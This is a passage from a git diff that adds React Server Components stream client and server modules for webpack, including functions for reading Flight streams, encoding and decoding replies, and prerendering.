+          hasReadable: options.debugChannel.readable !== undefined,
+          callback:
+            options.debugChannel.writable !== undefined
+              ? createDebugCallbackFromWritableStream(
+                  options.debugChannel.writable,
+                )
+              : null,
+        }
+      : undefined;
+
+  return createResponse(
+    null,
+    null,
+    null,
+    options && options.callServer ? options.callServer : undefined,
+    undefined, // encodeFormAction
+    undefined, // nonce
+    options && options.temporaryReferences
+      ? options.temporaryReferences
+      : undefined,
+    options && options.unstable_allowPartialStream
+      ? options.unstable_allowPartialStream
+      : false,
+    __DEV__ && options && options.findSourceMapURL
+      ? options.findSourceMapURL
+      : undefined,
+    __DEV__ ? (options ? options.replayConsoleLogs !== false : true) : false, // defaults to true
+    __DEV__ && options && options.environmentName
+      ? options.environmentName
+      : undefined,
+    __DEV__ && options && options.startTime != null
+      ? options.startTime
+      : undefined,
+    __DEV__ && options && options.endTime != null ? options.endTime : undefined,
+    debugChannel,
+  );
+}
+
+function startReadingFromUniversalStream(
+  response: FlightResponse,
+  stream: ReadableStream,
+  onDone: () => void,
+): void {
+  // This is the same as startReadingFromStream except this allows WebSocketStreams which
+  // return ArrayBuffer and string chunks instead of Uint8Array chunks. We could potentially
+  // always allow streams with variable chunk types.
+  const streamState = createStreamState(response, stream);
+  const reader = stream.getReader();
+  function progress({
+    done,
+    value,
+  }: {
+    done: boolean,
+    value: any,
+    ...
+  }): void | Promise<void> {
+    if (done) {
+      return onDone();
+    }
+    if (value instanceof ArrayBuffer) {
+      // WebSockets can produce ArrayBuffer values in ReadableStreams.
+      processBinaryChunk(response, streamState, new Uint8Array(value));
+    } else if (typeof value === 'string') {
+      // WebSockets can produce string values in ReadableStreams.
+      processStringChunk(response, streamState, value);
+    } else {
+      processBinaryChunk(response, streamState, value);
+    }
+    return reader.read().then(progress).catch(error);
+  }
+  function error(e: any) {
+    reportGlobalError(response, e);
+  }
+  reader.read().then(progress).catch(error);
+}
+
+function startReadingFromStream(
+  response: FlightResponse,
+  stream: ReadableStream,
+  onDone: () => void,
+  debugValue: mixed,
+): void {
+  const streamState = createStreamState(response, debugValue);
+  const reader = stream.getReader();
+  function progress({
+    done,
+    value,
+  }: {
+    done: boolean,
+    value: ?any,
+    ...
+  }): void | Promise<void> {
+    if (done) {
+      return onDone();
+    }
+    const buffer: Uint8Array = (value: any);
+    processBinaryChunk(response, streamState, buffer);
+    return reader.read().then(progress).catch(error);
+  }
+  function error(e: any) {
+    reportGlobalError(response, e);
+  }
+  reader.read().then(progress).catch(error);
+}
+
+function createFromReadableStream<T>(
+  stream: ReadableStream,
+  options?: Options,
+): Thenable<T> {
+  const response: FlightResponse = createResponseFromOptions(options);
+  if (
+    __DEV__ &&
+    options &&
+    options.debugChannel &&
+    options.debugChannel.readable
+  ) {
+    let streamDoneCount = 0;
+    const handleDone = () => {
+      if (++streamDoneCount === 2) {
+        close(response);
+      }
+    };
+    startReadingFromUniversalStream(
+      response,
+      options.debugChannel.readable,
+      handleDone,
+    );
+    startReadingFromStream(response, stream, handleDone, stream);
+  } else {
+    startReadingFromStream(
+      response,
+      stream,
+      close.bind(null, response),
+      stream,
+    );
+  }
+  return getRoot(response);
+}
+
+function createFromFetch<T>(
+  promiseForResponse: Promise<Response>,
+  options?: Options,
+): Thenable<T> {
+  const response: FlightResponse = createResponseFromOptions(options);
+  promiseForResponse.then(
+    function (r) {
+      if (
+        __DEV__ &&
+        options &&
+        options.debugChannel &&
+        options.debugChannel.readable
+      ) {
+        let streamDoneCount = 0;
+        const handleDone = () => {
+          if (++streamDoneCount === 2) {
+            close(response);
+          }
+        };
+        startReadingFromUniversalStream(
+          response,
+          options.debugChannel.readable,
+          handleDone,
+        );
+        startReadingFromStream(response, (r.body: any), handleDone, r);
+      } else {
+        startReadingFromStream(
+          response,
+          (r.body: any),
+          close.bind(null, response),
+          r,
+        );
+      }
+    },
+    function (e) {
+      reportGlobalError(response, e);
+    },
+  );
+  return getRoot(response);
+}
+
+function encodeReply(
+  value: ReactServerValue,
+  options?: {temporaryReferences?: TemporaryReferenceSet, signal?: AbortSignal},
+): Promise<
+  string | URLSearchParams | FormData,
+> /* We don't use URLSearchParams yet but maybe */ {
+  return new Promise((resolve, reject) => {
+    const abort = processReply(
+      value,
+      '',
+      options && options.temporaryReferences
+        ? options.temporaryReferences
+        : undefined,
+      resolve,
+      reject,
+    );
+    if (options && options.signal) {
+      const signal = options.signal;
+      if (signal.aborted) {
+        abort((signal: any).reason);
+      } else {
+        const listener = () => {
+          abort((signal: any).reason);
+          signal.removeEventListener('abort', listener);
+        };
+        signal.addEventListener('abort', listener);
+      }
+    }
+  });
+}
+
+export {createFromFetch, createFromReadableStream, encodeReply};
+
+if (__DEV__) {
+  injectIntoDevTools();
+}
diff --git a/packages/react-server-dom-webpack/src/client/ReactFlightDOMClientEdge.js b/packages/react-server-dom-webpack/src/client/ReactFlightDOMClientEdge.js
new file mode 100644
index 000000000000..8bcdcdbfe0d2
--- /dev/null
+++ b/packages/react-server-dom-webpack/src/client/ReactFlightDOMClientEdge.js
@@ -0,0 +1,259 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {Thenable, ReactCustomFormAction} from 'shared/ReactTypes.js';
+
+import type {
+  DebugChannel,
+  FindSourceMapURLCallback,
+  Response as FlightResponse,
+} from 'react-client/src/ReactFlightClient';
+
+import type {ReactServerValue} from 'react-client/src/ReactFlightReplyClient';
+
+import type {
+  ServerConsumerModuleMap,
+  ModuleLoading,
+  ServerManifest,
+} from 'react-client/src/ReactFlightClientConfig';
+
+type ServerConsumerManifest = {
+  moduleMap: ServerConsumerModuleMap,
+  moduleLoading: ModuleLoading,
+  serverModuleMap: null | ServerManifest,
+};
+
+import {
+  createResponse,
+  createStreamState,
+  getRoot,
+  reportGlobalError,
+  processBinaryChunk,
+  close,
+} from 'react-client/src/ReactFlightClient';
+
+import {
+  processReply,
+  createServerReference as createServerReferenceImpl,
+} from 'react-client/src/ReactFlightReplyClient';
+
+export {registerServerReference} from 'react-client/src/ReactFlightReplyClient';
+
+import type {TemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';
+
+export {createTemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';
+
+export type {TemporaryReferenceSet};
+
+function noServerCall() {
+  throw new Error(
+    'Server Functions cannot be called during initial render. ' +
+      'This would create a fetch waterfall. Try to use a Server Component ' +
+      'to pass data to Client Components instead.',
+  );
+}
+
+export function createServerReference<A: Iterable<any>, T>(
+  id: any,
+  callServer: any,
+): (...A) => Promise<T> {
+  return createServerReferenceImpl(id, noServerCall);
+}
+
+type EncodeFormActionCallback = <A>(
+  id: any,
+  args: Promise<A>,
+) => ReactCustomFormAction;
+
+export type Options = {
+  serverConsumerManifest: ServerConsumerManifest,
+  nonce?: string,
+  encodeFormAction?: EncodeFormActionCallback,
+  temporaryReferences?: TemporaryReferenceSet,
+  unstable_allowPartialStream?: boolean,
+  findSourceMapURL?: FindSourceMapURLCallback,
+  replayConsoleLogs?: boolean,
+  environmentName?: string,
+  startTime?: number,
+  endTime?: number,
+  // For the Edge client we only support a single-direction debug channel.
+  debugChannel?: {readable?: ReadableStream, ...},
+};
+
+function createResponseFromOptions(options: Options) {
+  const debugChannel: void | DebugChannel =
+    __DEV__ && options && options.debugChannel !== undefined
+      ? {
+          hasReadable: options.debugChannel.readable !== undefined,
+          callback: null,
+        }
+      : undefined;
+
+  return createResponse(
+    options.serverConsumerManifest.moduleMap,
+    options.serverConsumerManifest.serverModuleMap,
+    options.serverConsumerManifest.moduleLoading,
+    noServerCall,
+    options.encodeFormAction,
+    typeof options.nonce === 'string' ? options.nonce : undefined,
+    options && options.temporaryReferences
+      ? options.temporaryReferences
+      : undefined,
+    options && options.unstable_allowPartialStream
+      ? options.unstable_allowPartialStream
+      : false,
+    __DEV__ && options && options.findSourceMapURL
+      ? options.findSourceMapURL
+      : undefined,
+    __DEV__ && options ? options.replayConsoleLogs === true : false, // defaults to false
+    __DEV__ && options && options.environmentName
+      ? options.environmentName
+      : undefined,
+    __DEV__ && options && options.startTime != null
+      ? options.startTime
+      : undefined,
+    __DEV__ && options && options.endTime != null ? options.endTime : undefined,
+    debugChannel,
+  );
+}
+
+function startReadingFromStream(
+  response: FlightResponse,
+  stream: ReadableStream,
+  onDone: () => void,
+  debugValue: mixed,
+): void {
+  const streamState = createStreamState(response, debugValue);
+  const reader = stream.getReader();
+  function progress({
+    done,
+    value,
+  }: {
+    done: boolean,
+    value: ?any,
+    ...
+  }): void | Promise<void> {
+    if (done) {
+      return onDone();
+    }
+    const buffer: Uint8Array = (value: any);
+    processBinaryChunk(response, streamState, buffer);
+    return reader.read().then(progress).catch(error);
+  }
+  function error(e: any) {
+    reportGlobalError(response, e);
+  }
+  reader.read().then(progress).catch(error);
+}
+
+function createFromReadableStream<T>(
+  stream: ReadableStream,
+  options: Options,
+): Thenable<T> {
+  const response: FlightResponse = createResponseFromOptions(options);
+
+  if (
+    __DEV__ &&
+    options &&
+    options.debugChannel &&
+    options.debugChannel.readable
+  ) {
+    let streamDoneCount = 0;
+    const handleDone = () => {
+      if (++streamDoneCount === 2) {
+        close(response);
+      }
+    };
+    startReadingFromStream(response, options.debugChannel.readable, handleDone);
+    startReadingFromStream(response, stream, handleDone, stream);
+  } else {
+    startReadingFromStream(
+      response,
+      stream,
+      close.bind(null, response),
+      stream,
+    );
+  }
+
+  return getRoot(response);
+}
+
+function createFromFetch<T>(
+  promiseForResponse: Promise<Response>,
+  options: Options,
+): Thenable<T> {
+  const response: FlightResponse = createResponseFromOptions(options);
+  promiseForResponse.then(
+    function (r) {
+      if (
+        __DEV__ &&
+        options &&
+        options.debugChannel &&
+        options.debugChannel.readable
+      ) {
+        let streamDoneCount = 0;
+        const handleDone = () => {
+          if (++streamDoneCount === 2) {
+            close(response);
+          }
+        };
+        startReadingFromStream(
+          response,
+          options.debugChannel.readable,
+          handleDone,
+        );
+        startReadingFromStream(response, (r.body: any), handleDone, r);
+      } else {
+        startReadingFromStream(
+          response,
+          (r.body: any),
+          close.bind(null, response),
+          r,
+        );
+      }
+    },
+    function (e) {
+      reportGlobalError(response, e);
+    },
+  );
+  return getRoot(response);
+}
+
+function encodeReply(
+  value: ReactServerValue,
+  options?: {temporaryReferences?: TemporaryReferenceSet, signal?: AbortSignal},
+): Promise<
+  string | URLSearchParams | FormData,
+> /* We don't use URLSearchParams yet but maybe */ {
+  return new Promise((resolve, reject) => {
+    const abort = processReply(
+      value,
+      '',
+      options && options.temporaryReferences
+        ? options.temporaryReferences
+        : undefined,
+      resolve,
+      reject,
+    );
+    if (options && options.signal) {
+      const signal = options.signal;
+      if (signal.aborted) {
+        abort((signal: any).reason);
+      } else {
+        const listener = () => {
+          abort((signal: any).reason);
+          signal.removeEventListener('abort', listener);
+        };
+        signal.addEventListener('abort', listener);
+      }
+    }
+  });
+}
+
+export {createFromFetch, createFromReadableStream, encodeReply};
diff --git a/packages/react-server-dom-webpack/src/client/ReactFlightDOMClientNode.js b/packages/react-server-dom-webpack/src/client/ReactFlightDOMClientNode.js
new file mode 100644
index 000000000000..7aff35e85da5
--- /dev/null
+++ b/packages/react-server-dom-webpack/src/client/ReactFlightDOMClientNode.js
@@ -0,0 +1,143 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {Thenable, ReactCustomFormAction} from 'shared/ReactTypes.js';
+
+import type {
+  DebugChannel,
+  FindSourceMapURLCallback,
+  Response,
+} from 'react-client/src/ReactFlightClient';
+
+import type {
+  ServerConsumerModuleMap,
+  ModuleLoading,
+  ServerManifest,
+} from 'react-client/src/ReactFlightClientConfig';
+
+type ServerConsumerManifest = {
+  moduleMap: ServerConsumerModuleMap,
+  moduleLoading: ModuleLoading,
+  serverModuleMap: null | ServerManifest,
+};
+
+import type {Readable} from 'stream';
+
+import {
+  createResponse,
+  createStreamState,
+  getRoot,
+  reportGlobalError,
+  processStringChunk,
+  processBinaryChunk,
+  close,
+} from 'react-client/src/ReactFlightClient';
+
+export * from './ReactFlightDOMClientEdge';
+
+function noServerCall() {
+  throw new Error(
+    'Server Functions cannot be called during initial render. ' +
+      'This would create a fetch waterfall. Try to use a Server Component ' +
+      'to pass data to Client Components instead.',
+  );
+}
+
+type EncodeFormActionCallback = <A>(
+  id: any,
+  args: Promise<A>,
+) => ReactCustomFormAction;
+
+export type Options = {
+  nonce?: string,
+  encodeFormAction?: EncodeFormActionCallback,
+  unstable_allowPartialStream?: boolean,
+  findSourceMapURL?: FindSourceMapURLCallback,
+  replayConsoleLogs?: boolean,
+  environmentName?: string,
+  startTime?: number,
+  endTime?: number,
+  // For the Node.js client we only support a single-direction debug channel.
+  debugChannel?: Readable,
+};
+
+function startReadingFromStream(
+  response: Response,
+  stream: Readable,
+  onEnd: () => void,
+): void {
+  const streamState = createStreamState(response, stream);
+
+  stream.on('data', chunk => {
+    if (typeof chunk === 'string') {
+      processStringChunk(response, streamState, chunk);
+    } else {
+      processBinaryChunk(response, streamState, chunk);
+    }
+  });
+
+  stream.on('error', error => {
+    reportGlobalError(response, error);
+  });
+
+  stream.on('end', onEnd);
+}
+
+function createFromNodeStream<T>(
+  stream: Readable,
+  serverConsumerManifest: ServerConsumerManifest,
+  options?: Options,
+): Thenable<T> {
+  const debugChannel: void | DebugChannel =
+    __DEV__ && options && options.debugChannel !== undefined
+      ? {hasReadable: true, callback: null}
+      : undefined;
+
+  const response: Response = createResponse(
+    serverConsumerManifest.moduleMap,
+    serverConsumerManifest.serverModuleMap,
+    serverConsumerManifest.moduleLoading,
+    noServerCall,
+    options ? options.encodeFormAction : undefined,
+    options && typeof options.nonce === 'string' ? options.nonce : undefined,
+    undefined, // TODO: If encodeReply is supported, this should support temporaryReferences
+    options && options.unstable_allowPartialStream
+      ? options.unstable_allowPartialStream
+      : false,
+    __DEV__ && options && options.findSourceMapURL
+      ? options.findSourceMapURL
+      : undefined,
+    __DEV__ && options ? options.replayConsoleLogs === true : false, // defaults to false
+    __DEV__ && options && options.environmentName
+      ? options.environmentName
+      : undefined,
+    __DEV__ && options && options.startTime != null
+      ? options.startTime
+      : undefined,
+    __DEV__ && options && options.endTime != null ? options.endTime : undefined,
+    debugChannel,
+  );
+
+  if (__DEV__ && options && options.debugChannel) {
+    let streamEndedCount = 0;
+    const handleEnd = () => {
+      if (++streamEndedCount === 2) {
+        close(response);
+      }
+    };
+    startReadingFromStream(response, options.debugChannel, handleEnd);
+    startReadingFromStream(response, stream, handleEnd);
+  } else {
+    startReadingFromStream(response, stream, close.bind(null, response));
+  }
+
+  return getRoot(response);
+}
+
+export {createFromNodeStream};
diff --git a/packages/react-server-dom-webpack/src/client/react-flight-dom-client.browser.js b/packages/react-server-dom-webpack/src/client/react-flight-dom-client.browser.js
new file mode 100644
index 000000000000..a3f15d0116cf
--- /dev/null
+++ b/packages/react-server-dom-webpack/src/client/react-flight-dom-client.browser.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export * from './ReactFlightDOMClientBrowser';
diff --git a/packages/react-server-dom-webpack/src/client/react-flight-dom-client.edge.js b/packages/react-server-dom-webpack/src/client/react-flight-dom-client.edge.js
new file mode 100644
index 000000000000..14a8876953b2
--- /dev/null
+++ b/packages/react-server-dom-webpack/src/client/react-flight-dom-client.edge.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export * from './ReactFlightDOMClientEdge';
diff --git a/packages/react-server-dom-webpack/src/client/react-flight-dom-client.node.js b/packages/react-server-dom-webpack/src/client/react-flight-dom-client.node.js
new file mode 100644
index 000000000000..8eb9daa35b6f
--- /dev/null
+++ b/packages/react-server-dom-webpack/src/client/react-flight-dom-client.node.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export * from './ReactFlightDOMClientNode';
diff --git a/packages/react-server-dom-webpack/src/server/ReactFlightDOMServerBrowser.js b/packages/react-server-dom-webpack/src/server/ReactFlightDOMServerBrowser.js
new file mode 100644
index 000000000000..d1d0772186e6
--- /dev/null
+++ b/packages/react-server-dom-webpack/src/server/ReactFlightDOMServerBrowser.js
@@ -0,0 +1,273 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {
+  Request,
+  ReactClientValue,
+} from 'react-server/src/ReactFlightServer';
+import type {Thenable} from 'shared/ReactTypes';
+import type {ClientManifest} from './ReactFlightServerConfigWebpackBundler';
+import type {ServerManifest} from 'react-client/src/ReactFlightClientConfig';
+
+import {
+  createRequest,
+  createPrerenderRequest,
+  startWork,
+  startFlowing,
+  startFlowingDebug,
+  stopFlowing,
+  abort,
+  resolveDebugMessage,
+  closeDebugChannel,
+} from 'react-server/src/ReactFlightServer';
+
+import {
+  createResponse,
+  close,
+  getRoot,
+} from 'react-server/src/ReactFlightReplyServer';
+
+import {
+  decodeAction,
+  decodeFormState,
+} from 'react-server/src/ReactFlightActionServer';
+
+export {
+  registerServerReference,
+  registerClientReference,
+  createClientModuleProxy,
+} from '../ReactFlightWebpackReferences';
+
+import {
+  createStringDecoder,
+  readPartialStringChunk,
+  readFinalStringChunk,
+} from 'react-client/src/ReactFlightClientStreamConfigWeb';
+
+import type {TemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
+
+export {createTemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
+
+export type {TemporaryReferenceSet};
+
+type Options = {
+  debugChannel?: {readable?: ReadableStream, writable?: WritableStream, ...},
+  environmentName?: string | (() => string),
+  filterStackFrame?: (url: string, functionName: string) => boolean,
+  identifierPrefix?: string,
+  signal?: AbortSignal,
+  temporaryReferences?: TemporaryReferenceSet,
+  onError?: (error: mixed) => void,
+  startTime?: number,
+};
+
+function startReadingFromDebugChannelReadableStream(
+  request: Request,
+  stream: ReadableStream,
+): void {
+  const reader = stream.getReader();
+  const stringDecoder = createStringDecoder();
+  let stringBuffer = '';
+  function progress({
+    done,
+    value,
+  }: {
+    done: boolean,
+    value: ?any,
+    ...
+  }): void | Promise<void> {
+    const buffer: Uint8Array = (value: any);
+    stringBuffer += done
+      ? readFinalStringChunk(stringDecoder, new Uint8Array(0))
+      : readPartialStringChunk(stringDecoder, buffer);
+    const messages = stringBuffer.split('\n');
+    for (let i = 0; i < messages.length - 1; i++) {
+      resolveDebugMessage(request, messages[i]);
+    }
+    stringBuffer = messages[messages.length - 1];
+    if (done) {
+      closeDebugChannel(request);
+      return;
+    }
+    return reader.read().then(progress).catch(error);
+  }
+  function error(e: any) {
+    abort(
+      request,
+      new Error('Lost connection to the Debug Channel.', {
+        cause: e,
+      }),
+    );
+  }
+  reader.read().then(progress).catch(error);
+}
+
+function renderToReadableStream(
+  model: ReactClientValue,
+  webpackMap: ClientManifest,
+  options?: Options,
+): ReadableStream {
+  const debugChannelReadable =
+    __DEV__ && options && options.debugChannel
+      ? options.debugChannel.readable
+      : undefined;
+  const debugChannelWritable =
+    __DEV__ && options && options.debugChannel
+      ? options.debugChannel.writable
+      : undefined;
+  const request = createRequest(
+    model,
+    webpackMap,
+    options ? options.onError : undefined,
+    options ? options.identifierPrefix : undefined,
+    options ? options.temporaryReferences : undefined,
+    options ? options.startTime : undefined,
+    __DEV__ && options ? options.environmentName : undefined,
+    __DEV__ && options ? options.filterStackFrame : undefined,
+    debugChannelReadable !== undefined,
+  );
+  if (options && options.signal) {
+    const signal = options.signal;
+    if (signal.aborted) {
+      abort(request, (signal: any).reason);
+    } else {
+      const listener = () => {
+        abort(request, (signal: any).reason);
+        signal.removeEventListener('abort', listener);
+      };
+      signal.addEventListener('abort', listener);
+    }
+  }
+  if (debugChannelWritable !== undefined) {
+    const debugStream = new ReadableStream(
+      {
+        type: 'bytes',
+        pull: (controller): ?Promise<void> => {
+          startFlowingDebug(request, controller);
+        },
+      },
+      // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+      {highWaterMark: 0},
+    );
+    debugStream.pipeTo(debugChannelWritable);
+  }
+  if (debugChannelReadable !== undefined) {
+    startReadingFromDebugChannelReadableStream(request, debugChannelReadable);
+  }
+  const stream = new ReadableStream(
+    {
+      type: 'bytes',
+      start: (controller): ?Promise<void> => {
+        startWork(request);
+      },
+      pull: (controller): ?Promise<void> => {
+        startFlowing(request, controller);
+      },
+      cancel: (reason): ?Promise<void> => {
+        stopFlowing(request);
+        abort(request, reason);
+      },
+    },
+    // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+    {highWaterMark: 0},
+  );
+  return stream;
+}
+
+type StaticResult = {
+  prelude: ReadableStream,
+};
+
+function prerender(
+  model: ReactClientValue,
+  webpackMap: ClientManifest,
+  options?: Options,
+): Promise<StaticResult> {
+  return new Promise((resolve, reject) => {
+    const onFatalError = reject;
+    function onAllReady() {
+      const stream = new ReadableStream(
+        {
+          type: 'bytes',
+          pull: (controller): ?Promise<void> => {
+            startFlowing(request, controller);
+          },
+          cancel: (reason): ?Promise<void> => {
+            stopFlowing(request);
+            abort(request, reason);
+          },
+        },
+        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+        {highWaterMark: 0},
+      );
+      resolve({prelude: stream});
+    }
+    const request = createPrerenderRequest(
+      model,
+      webpackMap,
+      onAllReady,
+      onFatalError,
+      options ? options.onError : undefined,
+      options ? options.identifierPrefix : undefined,
+      options ? options.temporaryReferences : undefined,
+      options ? options.startTime : undefined,
+      __DEV__ && options ? options.environmentName : undefined,
+      __DEV__ && options ? options.filterStackFrame : undefined,
+      false,
+    );
+    if (options && options.signal) {
+      const signal = options.signal;
+      if (signal.aborted) {
+        const reason = (signal: any).reason;
+        abort(request, reason);
+      } else {
+        const listener = () => {
+          const reason = (signal: any).reason;
+          abort(request, reason);
+          signal.removeEventListener('abort', listener);
+        };
+        signal.addEventListener('abort', listener);
+      }
+    }
+    startWork(request);
+  });
+}
+
+function decodeReply<T>(
+  body: string | FormData,
+  webpackMap: ServerManifest,
+  options?: {
+    temporaryReferences?: TemporaryReferenceSet,
+    arraySizeLimit?: number,
+  },
+): Thenable<T> {
+  if (typeof body === 'string') {
+    const form = new FormData();
+    form.append('0', body);
+    body = form;
+  }
+  const response = createResponse(
+    webpackMap,
+    '',
+    options ? options.temporaryReferences : undefined,
+    body,
+    options ? options.arraySizeLimit : undefined,
+  );
+  const root = getRoot<T>(response);
+  close(response);
+  return root;
+}
+
+export {
+  renderToReadableStream,
+  prerender,
+  decodeReply,
+  decodeAction,
+  decodeFormState,
+};
diff --git a/packages/react-server-dom-webpack/src/server/ReactFlightDOMServerEdge.js b/packages/react-server-dom-webpack/src/server/ReactFlightDOMServerEdge.js
new file mode 100644
index 000000000000..1347b07dd4df
--- /dev/null
+++ b/packages/react-server-dom-webpack/src/server/ReactFlightDOMServerEdge.js
@@ -0,0 +1,329 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {
+  Request,
+  ReactClientValue,
+} from 'react-server/src/ReactFlightServer';
+import type {Thenable} from 'shared/ReactTypes';
+import type {ClientManifest} from './ReactFlightServerConfigWebpackBundler';
+import type {ServerManifest} from 'react-client/src/ReactFlightClientConfig';
+
+import {ASYNC_ITERATOR} from 'shared/ReactSymbols';
+
+import {
+  createRequest,
+  createPrerenderRequest,
+  startWork,
+  startFlowing,
+  startFlowingDebug,
+  stopFlowing,
+  abort,
+  resolveDebugMessage,
+  closeDebugChannel,
+} from 'react-server/src/ReactFlightServer';
+
+import {
+  createResponse,
+  close,
+  getRoot,
+  reportGlobalError,
+  resolveField,
+  resolveFile,
+} from 'react-server/src/ReactFlightReplyServer';
+
+import {
+  decodeAction,
+  decodeFormState,
+} from 'react-server/src/ReactFlightActionServer';
+
+export {
+  registerServerReference,
+  registerClientReference,
+  createClientModuleProxy,
+} from '../ReactFlightWebpackReferences';
+
+import {
+  createStringDecoder,
+  readPartialStringChunk,
+  readFinalStringChunk,
+} from 'react-client/src/ReactFlightClientStreamConfigWeb';
+
+import type {TemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
+
+export {createTemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
+
+export type {TemporaryReferenceSet};
+
+type Options = {
+  debugChannel?: {readable?: ReadableStream, writable?: WritableStream, ...},
+  environmentName?: string | (() => string),
+  filterStackFrame?: (url: string, functionName: string) => boolean,
+  identifierPrefix?: string,
+  signal?: AbortSignal,
+  temporaryReferences?: TemporaryReferenceSet,
+  onError?: (error: mixed) => void,
+  startTime?: number,
+};
+
+function startReadingFromDebugChannelReadableStream(
+  request: Request,
+  stream: ReadableStream,
+): void {
+  const reader = stream.getReader();
+  const stringDecoder = createStringDecoder();
+  let stringBuffer = '';
+  function progress({
+    done,
+    value,
+  }: {
+    done: boolean,
+    value: ?any,
+    ...
+  }): void | Promise<void> {
+    const buffer: Uint8Array = (value: any);
+    stringBuffer += done
+      ? readFinalStringChunk(stringDecoder, new Uint8Array(0))
+      : readPartialStringChunk(stringDecoder, buffer);
+    const messages = stringBuffer.split('\n');
+    for (let i = 0; i < messages.length - 1; i++) {
+      resolveDebugMessage(request, messages[i]);
+    }
+    stringBuffer = messages[messages.length - 1];
+    if (done) {
+      closeDebugChannel(request);
+      return;
+    }
+    return reader.read().then(progress).catch(error);
+  }
+  function error(e: any) {
+    abort(
+      request,
+      new Error('Lost connection to the Debug Channel.', {
+        cause: e,
+      }),
+    );
+  }
+  reader.read().then(progress).catch(error);
+}
+
+function renderToReadableStream(
+  model: ReactClientValue,
+  webpackMap: ClientManifest,
+  options?: Options,
+): ReadableStream {
+  const debugChannelReadable =
+    __DEV__ && options && options.debugChannel
+      ? options.debugChannel.readable
+      : undefined;
+  const debugChannelWritable =
+    __DEV__ && options && options.debugChannel
+      ? options.debugChannel.writable
+      : undefined;
+  const request = createRequest(
+    model,
+    webpackMap,
+    options ? options.onError : undefined,
+    options ? options.identifierPrefix : undefined,
+    options ? options.temporaryReferences : undefined,
+    options ? options.startTime : undefined,
+    __DEV__ && options ? options.environmentName : undefined,
+    __DEV__ && options ? options.filterStackFrame : undefined,
+    debugChannelReadable !== undefined,
+  );
+  if (options && options.signal) {
+    const signal = options.signal;
+    if (signal.aborted) {
+      abort(request, (signal: any).reason);
+    } else {
+      const listener = () => {
+        abort(request, (signal: any).reason);
+        signal.removeEventListener('abort', listener);
+      };
+      signal.addEventListener('abort', listener);
+    }
+  }
+  if (debugChannelWritable !== undefined) {
+    const debugStream = new ReadableStream(
+      {
+        type: 'bytes',
+        pull: (controller): ?Promise<void> => {
+          startFlowingDebug(request, controller);
+        },
+      },
+      // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+      {highWaterMark: 0},
+    );
+    debugStream.pipeTo(debugChannelWritable);
+  }
+  if (debugChannelReadable !== undefined) {
+    startReadingFromDebugChannelReadableStream(request, debugChannelReadable);
+  }
+  const stream = new ReadableStream(
+    {
+      type: 'bytes',
+      start: (controller): ?Promise<void> => {
+        startWork(request);
+      },
+      pull: (controller): ?Promise<void> => {
+        startFlowing(request, controller);
+      },
+      cancel: (reason): ?Promise<void> => {
+        stopFlowing(request);
+        abort(request, reason);
+      },
+    },
+    // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+    {highWaterMark: 0},
+  );
+  return stream;
+}
+
+type StaticResult = {
+  prelude: ReadableStream,
+};
+
+function prerender(
+  model: ReactClientValue,
+  webpackMap: ClientManifest,
+  options?: Options,
+): Promise<StaticResult> {
+  return new Promise((resolve, reject) => {
+    const onFatalError = reject;
+    function onAllReady() {
+      const stream = new ReadableStream(
+        {
+          type: 'bytes',
+          pull: (controller): ?Promise<void> => {
+            startFlowing(request, controller);
+          },
+          cancel: (reason): ?Promise<void> => {
+            stopFlowing(request);
+            abort(request, reason);
+          },
+        },
+        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+        {highWaterMark: 0},
+      );
+      resolve({prelude: stream});
+    }
+    const request = createPrerenderRequest(
+      model,
+      webpackMap,
+      onAllReady,
+      onFatalError,
+      options ? options.onError : undefined,
+      options ? options.identifierPrefix : undefined,
+      options ? options.temporaryReferences : undefined,
+      options ? options.startTime : undefined,
+      __DEV__ && options ? options.environmentName : undefined,
+      __DEV__ && options ? options.filterStackFrame : undefined,
+      false,
+    );
+    if (options && options.signal) {
+      const signal = options.signal;
+      if (signal.aborted) {
+        const reason = (signal: any).reason;
+        abort(request, reason);
+      } else {
+        const listener = () => {
+          const reason = (signal: any).reason;
+          abort(request, reason);
+          signal.removeEventListener('abort', listener);
+        };
+        signal.addEventListener('abort', listener);
+      }
+    }
+    startWork(request);
+  });
+}
+
+function decodeReply<T>(
+  body: string | FormData,
+  webpackMap: ServerManifest,
+  options?: {
+    temporaryReferences?: TemporaryReferenceSet,
+    arraySizeLimit?: number,
+  },
+): Thenable<T> {
+  if (typeof body === 'string') {
